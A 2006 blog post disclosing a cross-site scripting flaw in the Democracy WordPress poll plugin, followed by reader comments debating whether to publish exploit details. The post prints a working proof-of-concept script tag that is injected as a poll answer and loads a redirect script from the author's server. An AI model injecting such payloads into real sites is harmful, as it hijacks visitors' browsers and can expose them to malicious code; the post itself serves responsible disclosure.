Technosailor
  • Home
  • Blog
  • Venture Files
  • Espanol
  • Technosailor Staff
  • Twitter Pitch Me!
  • Clients/Disclosures
Sep
22
2006

Democracy Plugin XSS Vulnerability ALERT

Posted by: Aaron Brazell

Last week, Darren McLaughlin scooped a story regarding the very popular Democracy plugin for Wordpress. You can read his findings about how the execution of the plugin may cause all of your sites pages to be dropped from search engine indexes.

When it rains it pours because last week, we discovered an XSS exploit in the plugin that can cause a website to be hijacked. To be clear, we discovered this because one of our b5media blogs was in fact hijacked. While in our case, the hack was not malicious and actually redirected the site to Google, the truth is that by exploiting this plugin, a malicious hacker could redirect a website to any website that could execute any malicious code and compromise security. It affects btoh Firefox and Internet Explorer. PLEASE TAKE THIS WARNING SERIOUSLY!

I have alerted the plugin author who has responded positively and promises a new version of Democracy 2.0, however I warned him that he had one week until I released details of the exploit. Andrew has just posted Democracy Public Beta 2. Cannot vouch for its security yet as it has literally just now been posted. Prelimnary testing indicates it’s okay though.

How To Exploit the Democracy 1.2 XSS Vulnerability

This is not a complex exploit.

I have created a javascript file called examplehack.js and placed it on my webserver. It simply redirects to a standard HTML page with a message. This could be any page containing any scripting.

window.location = "http://www.technosailor.com/examplehack.html"

To exploit the plugin, the blog owner must have a poll that allows user contributed answers. Simply “Adding an answer” with the following code (sample) will create a hijacked browser: <script src=http://technosailor/examplehack.js>test</script>

poll.png

Refresh and watch traffic get siphoned away.

Originally discovered by Duncan Riley.

  • Add to Mixx!
  • Stumble it!
About the Author: Aaron Brazell is the lead editor of Technosailor.com and a social media expert. His passion is to see companies and individuals use the internet and web technologies wisely and effectively to promote their brands and companies. He served as Director of Technology at b5media from 2005-2008 and is currently an independent consultant.
Tagged: at 7:00 pm -

23 Responses to “Democracy Plugin XSS Vulnerability ALERT”

  1. 1
    podz Says:

    I’m curious - why post the actual exploit?
    Is it to prove it’s existence?

    September 22nd, 2006 at 7:17 pm
  2. 2
    Aaron Brazell Says:

    Hey podz-

    Most people tend to think, “Aww, a hack will never happen to me”. The point of this exercise was to demonstrate how very simple it is. Maybe demonstration will cause folks to be cautious regarding plugins they use.

    September 22nd, 2006 at 7:22 pm
  3. 3
    podz Says:

    But I could now google enough to find that plugin and hit those sites in a couple of clicks.
    Surely just saying what you have and omitting the actual exploit would be the way to go?

    September 22nd, 2006 at 7:36 pm
  4. 4
    Darren McLaughlin Says:

    These plugins can be very dangerous. I think the Wordpress culture is to install as many plugins as possible without doing a ton of research.

    This one is a very insidious exploit.

    September 22nd, 2006 at 7:49 pm
  5. 5
    Jeremy Wright Says:

    pods: posting the exploit is standard practice, whether it’s Microsoft or Apache.

    September 22nd, 2006 at 7:50 pm
  6. 6
    Aaron Brazell Says:

    Sure. And you could also subscribe to bugtraq and find this same kind of information numerous times a day. Secrecy is not always the best policy. I don’t make a habit of reporting exploits but I read blogs everyday that do. It’s quite the same thing.

    September 22nd, 2006 at 7:50 pm
  7. 7
    What makes you happy ? » Plugins….. Says:

    [...] Aaron Brazell has posted that a certain WP plugin has a vulnerability. The plugin has been fixed and a new release is here. I commented over there twice and asked what I consider to be two fair questions. I was subscribed to the comments so returned when some were made. This comment sticks out: These plugins can be very dangerous. I think the Wordpress culture is to install as many plugins as possible without doing a ton of research. [...]

    September 22nd, 2006 at 9:11 pm
  8. 8
    Duncan Says:

    No link love for the person who actually discovered it? :-)

    September 22nd, 2006 at 9:41 pm
  9. 9
    Aaron Brazell Says:

    Sure, over here. ;)

    September 22nd, 2006 at 9:43 pm
  10. 10
    WordPress Democracy Plugin Exploit (and a New Version) at The Blog Herald Says:

    [...] Blog Software Sep 22 at 9:17 pm by Aaron Brazell -Matt told me to cross post this when I went live with this story. Earlier this evening, I released the details of a cross site scripting exploit in the super popular Democracy 1.2 plugin. Read about the exploit here. [...]

    September 22nd, 2006 at 10:13 pm
  11. 11
    drmike Says:

    Podz: Don’t forget all those people over on the wp.com forums who keep saying that javascripts, embed, and object tags are safe as well. :)

    September 23rd, 2006 at 10:34 am
  12. 12
    podz Says:

    drmike - I wasn’t saying they were safe. I’m talking about people who can code saying that other code is unsafe.

    I’ve a challenge. If it will be accepted.

    September 23rd, 2006 at 10:46 am
  13. 13
    Understanding Implications of WordPress Plugin Security » Technology, Blogging and New Media Says:

    [...] Yesterday, I posted details about a cross-site scripting (XSS) exploit in a popular WordPress plugin which prompted Podz, support maven for WordPress to challenge the WordPress development community to contribute back to the community by detailing what makes plugins unsafe. [...]

    September 23rd, 2006 at 1:18 pm
  14. 14
    ha.ckers.org web application security lab - Archive » XSS Vulnerability in Democracy Wordpress Plugin Says:

    [...] Aaron Brazell just published an interesting post talking about a cross site scripting vulnerability in the democracy plugin for Wordpress. Almost immediately after posting Democracy published a fix to the vulnerability. This is a pretty interesting flaw that I think needs a little more discussion. [...]

    September 23rd, 2006 at 9:43 pm
  15. 15
    Leroy Brown Says:

    It’s a shame that it always takes the public posting of the exploit for the author to fix the problem. Although I can’t be too hard on someone who creates a plugin at no cost, so I don’t know. Mixed feelings as usual.
    Can you hold the author liable for any problems, even though his software is free? I’m not sure that it’s fair to do so.

    September 25th, 2006 at 8:58 am
  16. 16
    Aaron Brazell Says:

    Leroy: Technically, no you can’t hold an author liable. In reality though, he’s liable. That’s how anyone who would get exploited would feel. That’s how I would feel if I was hacked as a result. Fortunately, I was able to post the exploit with a link to a new version, so I’d like to think that I worked with Andrew to find a solution before it blew up.

    September 25th, 2006 at 9:40 am
  17. 17
    Leroy Brown Says:

    Aaron,
    I may feel differently if one of my sites had been hacked - that’ll certainly give you a different perspective on the matter. Either way, it’s necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.

    September 25th, 2006 at 1:25 pm
  18. 18
    Confusing Digg » Technology, Blogging and New Media Says:

    [...] 40 people have Dugg the story at this writing (you can vote now right from the entry) but not enough Diggers - that is, I had a bunch of people Digg the article with the hopes of boosting the story profile, but I don’t know enough people who have a high enough profile using Digg to make it matter. I probably need another 40 to make it to the front page at this point. That’s okay though. [...]

    September 25th, 2006 at 3:39 pm
  19. 19
    MustLive Says:

    Aaron. As I wrote at my site http://websecurity.com.ua/187/ two weeks ago, I was found a vulnerability in Subscribe To Comments WordPress plugin (and already released the path and plugin developer also worked on next version of plugin). So there are many other cases (among WordPress plugins) with plugin’s vulnerabilities, not only in Democracy plugin. And as I see, you also use Subscribe To Comments at your site, so you need to draw attention to this information (and check your plugin).

    September 26th, 2006 at 6:03 pm
  20. 20
    MustLive Says:

    Aaron. You have already validated my message and then I retrieved my “key” (it need for your version of wp-subscription-manager.php). And after looking to one of the vulnerable scripts (in this case - wp-subscription-manager.php), I can tell you that your site is vulnerable (via Subscribe To Comments plugin)!

    You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer’s site.

    September 26th, 2006 at 6:30 pm
  21. 21
    How to Handle Security Flaws » Technology, Blogging and New Media Says:

    [...] the vendor to provide a patch or a new version. I demonstrated this process when I reported the XSS flaw in the Democracy 1.2 plugin for WordPress. I alerted the plugin author, gave him an opportunity to provide a fixed [...]

    January 5th, 2007 at 11:05 pm
  22. 22
    The Secret Truth About The Plugins Security » Inspiration Bit Says:

    [...] by redirecting every user to a different website. Aaron Brazell from Technosailor posted all details about the flaws in the plugin. Fortunately the plugin’s author has already fixed the code and [...]

    March 3rd, 2007 at 3:19 am
  23. 23
    BlogSecurity » WordPress BlogWatch Says:

    [...] XSS Vulnerability (more) [...]

    July 26th, 2007 at 3:15 pm

Or add a Video Comment
with
« Back to text comment
  • Recent Posts

    • Are People Talking About You?
    • Western Style Writing vs. Eastern Style Writing
    • How Has Social Software Changed Your Life?
    • America the Beautiful
    • Identi.ca and the Art of the Launch
  • Reader Contribution

    • Brian Clark on Western Style Writing vs. Eastern Style Writing
    • Jeffrey on Western Style Writing vs. Eastern Style Writing
    • Jeffrey on What a designer is and isn’t…seriously you need to know…
    • Igor The Troll on Are People Talking About You?
    • Aaron Brazell on 10 Things You Need to Know About WordPress 2.6
  • RSS Venture Files

    • The Difference Between Designers and Marketers
    • But this worked four years ago?
    • Rules for Entrepreneurs - Avoid relying on a few whale customers
    • 6 Steps to Successful Small Business PR
    • Rules for Entrepreneurs - Outsource what you suck at
  • RSS Wicked Marketing

    • Yeah it’s cheaper, but what are you really getting?
    • What a designer is and isn’t…seriously you need to know…
    • The difference between success and closing next year…
    • It’s time to get Wicked…
  • RSS Technosailor en Español

    • PopTok: usa tus películas favoritas para enviar un mensaje
    • Video en Vivo desde tu iPhone
    • 7 Funciones que le Faltan al iPhone 3G
    • Como Vencer la Sobrecarga Informativa
    • La Batalla es Digital
  • Tip Jar


  • License Creative Commons Attribution-Noncommercial-Share Alike 3.0 | Copyright © 2004 - 2008 - Aaron Brazell | Lisa helped out | Privacy Policy

    Twitter Pitch!

    <p>Twitter pitching is a form of pitch that requires succint "what does this mean for me" kind of pitching. It is the ultimate efficiency of words. You have 140 characters or less to tell me why your pitch matters to me or my readers. Please include a means of contacting you. This is included in your 140 characters. If you send successive pitches, you will likely be ignored, unless it's obvious that the first pitch was a case of "accidental send", etc.</p> <p>This form of pitching does not mean I'm being a diva. It means that my time is valuable, and you want a piece of it. It's good practice for you, and delivers your pitch in a format I want. Win-win.</p>


    (X) Close

    Twitter Pitch Me!